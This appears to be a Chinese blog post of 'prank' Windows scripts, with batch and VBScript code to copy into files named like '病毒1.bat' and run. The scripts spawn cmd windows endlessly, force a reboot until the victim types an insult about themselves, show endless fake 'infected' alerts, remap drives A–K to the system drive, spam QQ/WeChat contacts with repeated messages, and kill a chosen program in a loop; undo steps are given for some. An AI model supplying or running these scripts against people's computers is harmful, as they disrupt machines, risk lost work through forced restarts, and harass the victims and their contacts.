整蛊

    xiaoxiao2022-07-05  181

    一、无限弹框

    新建txt文档,复制以下代码,放入文档:

    :start start cmd goto start

    文档重命名为:病毒1.bat

    或者

    start cmd %0

    文档重命名为:病毒2.bat

    或者

    start start start start start start start start Echo off lots of boxes start box

    文档重命名为:病毒3.bat

    双击运行。

    解除方法如下:

    新建txt文档,复制以下代码,放入文档:

    taskkill /f /im cmd.exe

    文档重命名为:解除病毒.bat

    双击运行。

    二、输入弹框

    新建txt文档,复制以下代码,放入文档:

    text() function text() dim a a=InputBox("请大声说出我是猪!") if a="我是猪" then Msgbox"哈哈哈,我也觉得你是猪!",0,"恭喜" else Msgbox"不行,你一定要说我是猪!",0,"再来一次" text() end if end function

    文档重命名为:整蛊1.vbs

    或者

    set ws=createobject("wscript.shell") call shutdown(1) do while a<>"我是猪" a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","") loop call shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"再输一遍我是猪!",4096+64 msgbox"我是猪!",4096+64 MsgBox"最后一次!",4096+64 MsgBox"如果你很快的点过去,不看的话",4096+64 MsgBox"我就要你踩我空间的!哼!",4096+64 MsgBox"从前有座山!",4096+64 MsgBox"山里有个庙.",4096+64 MsgBox"庙里有个老和尚在讲故事.",4096+64 ws.run"iexplore.exe http://www.baidu.com" msgbox"哎呀累了!数绵羊哄我睡觉",4096+64 for i=1 to 100 MsgBox i&"只绵羊",4096+64 next msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64 msgbox"最后问个问题,我是不是大好人!",4096+64 if inputbox("是不是","请选择","是")<>"是" then call shutdown(1) end if sub shutdown(s) select case s case 1 ws.run"cmd.exe /c shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a",0 end select end sub

    文档重命名为:整蛊2.vbs

    或者

    do msgbox"注意!电脑已中毒!" loop

    文档重命名为:整蛊3.vbs

    双击运行。

    打开任务管理器点击“进程”选项卡,找到进程wscript.exe,点“结束进程”即可。

    三、磁盘复制

    新建txt文档,复制以下代码,放入文档:

    @echo off for %%i in (a b c d e f g h i j k) do (subst %%i: C:\)

    保存,并重命名为:复制磁盘.bat

    双击bat文件,然后打开我的电脑发现出来了一堆系统盘。

    取消方法如下:

    新建txt文档,复制以下代码,放入文档:

    @echo off for %%i in (a b c d e f g h i j k) do (subst %%i: /d)

    保存,并重命名为:取消复制磁盘.bat

    双击bat文件,然后打开我的电脑发现恢复了正常。

    四、QQ微信自动发送

    新建txt文档,复制以下代码,放入文档:

    On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 500 wsh.AppActivate("") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit

    10是发送的次数

    500是发送的间隔时间

    SendKeys i 是是否要在发送的内容后加编号,不需要可删除

    保存,并重命名为:轰炸.vbs

    打开qq或微信窗口,复制一段想说的话,点击vbs文件,就会发现被激活的窗口自动发送了复制的内容

    另:

    Dim Name,Msg Name= "我爱罗" Msg = "Hellow!" set ws=wscript.createobject("wscript.shell") ws.Run "mshta vbscript:ClipboardData.SetData("&chr(34)&"text"&chr(34)&"," &Chr(34)& Name&Chr(34)& ")(close)",0,True ws.sendKeys "^%w" ws.appactivate "" wscript.sleep 500 ws.sendKeys "^f" wscript.sleep 500 ws.sendKeys "^v" wscript.sleep 500 ws.sendKeys "{ENTER}" wscript.sleep 200 ws.sendKeys "{TAB}" wscript.sleep 200 ws.sendKeys "{ENTER}" ws.Run "mshta vbscript:ClipboardData.SetData("&chr(34)&"text"&chr(34)&"," &Chr(34)& Msg &Chr(34)& ")(close)",0,True wscript.sleep 200 ws.sendKeys "^v" wscript.sleep 300 ws.sendKeys "{ENTER}"

    保存,并重命名为:自动发送微信消息.vbs

    双击可自动向微信好友Name=“我爱罗”发送消息Msg= “Hellow!”。

    五、禁止打开软件

    新建txt文档,复制以下代码,放入文档: On Error Resume Next Dim bag,pipe,honker,good Do good="." set bag=getobject("winmgmts:\\"& good &"\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='HelloFont.exe'") for each i in pipe i.terminate() next wscript.sleep 5 loop 把该文档命名为:禁止软件运行.vbs

    HelloFont.exe为要禁止的软件的名字,可右键软件快捷方式,选择属性,复制"目标"选项后面的名称即可。

    最新回复(0)